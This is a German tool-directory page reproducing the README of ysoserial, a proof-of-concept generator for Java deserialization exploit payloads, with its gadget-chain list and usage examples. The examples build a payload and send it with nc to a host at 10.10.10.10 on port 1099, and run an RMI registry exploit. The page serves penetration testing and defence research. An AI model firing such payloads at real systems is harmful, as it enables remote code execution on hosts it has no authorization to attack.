Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ysoserial — Ein Proof-of-Concept-Tool zur Generierung von Payloads, die unsichere Java-Objekt-Deserialisierung ausnutzen. | Kitploit
Tools/GitHubGitHub/al1ex/ysoserial
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubal1ex/ysoserial

ysoserial

Ein Proof-of-Concept-Tool zur Generierung von Payloads, die unsichere Java-Objekt-Deserialisierung ausnutzen.

Repository anzeigen
2vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

Ein Proof-of-Concept-Tool zur Erzeugung von Payloads, die unsichere Java-Objektdeserialisierung ausnutzen.

logo

Beschreibung

Ursprünglich veröffentlicht als Teil des AppSecCali-2015-Vortrags "Marshalling Pickles: how deserializing objects will ruin your day" mit Gadget-Ketten für Apache Commons Collections (3.x und 4.x), Spring Beans/Core (4.x) und Groovy (2.3.x). Später aktualisiert um zusätzliche Gadget-Ketten für JRE <= 1.7u21 und mehrere andere Bibliotheken.

ysoserial ist eine Sammlung von Hilfsprogrammen und eigenschaftsorientierten Programmier-„Gadget-Ketten“, die in gängigen Java- Bibliotheken entdeckt wurden und unter den richtigen Bedingungen Java-Anwendungen ausnutzen können, die eine unsichere Deserialisierung von Objekten durchführen. Das Hauptprogramm nimmt einen vom Benutzer angegebenen Befehl, verpackt ihn in die vom Benutzer angegebene Gadget-Kette und serialisiert diese Objekte nach stdout. Wenn eine Anwendung mit den erforderlichen Gadgets im Klassenpfad diese Daten unsicher deserialisiert, wird die Kette automatisch aufgerufen und der Befehl auf dem Host der Anwendung ausgeführt.

Es sollte beachtet werden, dass die Schwachstelle in der Anwendung liegt, die eine unsichere Deserialisierung durchführt, und NICHT darin, Gadgets im Klassenpfad zu haben.

Haftungsausschluss

Diese Software wurde ausschließlich für Zwecke der akademischen Forschung und für die Entwicklung wirksamer Verteidigungstechniken erstellt und ist nicht dafür gedacht, Systeme anzugreifen, außer wenn dies ausdrücklich genehmigt wurde. Die Projektbetreuer sind nicht verantwortlich oder haftbar für Missbrauch der Software. Verwenden Sie sie verantwortungsbewusst.

Verwendung

root@kitploit:~
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
       Payload             Authors                                Dependencies
     -------             -------                                ------------
     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                               commons-collections:3.1
     CommonsCollections2 @frohoff                               commons-collections4:4.0
     CommonsCollections3 @frohoff                               commons-collections:3.1
     CommonsCollections4 @frohoff                               commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                               groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPClient1         @mbechler
     JRMPClient2         @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser                       js:1.7R2
     MozillaRhino2       @_tint0                                js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                              rome:1.0
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

Beispiele

root@kitploit:~
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Installation

GitHub release

Laden Sie das neueste Release-JAR von den GitHub-Releases herunter.

Kompilieren

Erfordert Java 1.7+ und Maven 3.x+

mvn clean package -DskipTests

Codestatus

Build Status Build status

Mitwirken

  1. Forken
  2. Erstellen Sie Ihren Feature-Branch (git checkout -b my-new-feature)
  3. Committen Sie Ihre Änderungen (git commit -am 'Add some feature')
  4. Pushen Sie den Branch (git push origin my-new-feature)
  5. Erstellen Sie einen neuen Pull Request

Siehe auch

  • Java-Deserialization-Cheat-Sheet: Informationen zu Schwachstellen, Tools, Blogs/Berichten usw.
  • marshalsec: ähnliches Projekt für verschiedene Java-Deserialisierungsformate/-bibliotheken
  • ysoserial.net: ähnliches Projekt für .NET-Deserialisierung
Tool herunterladen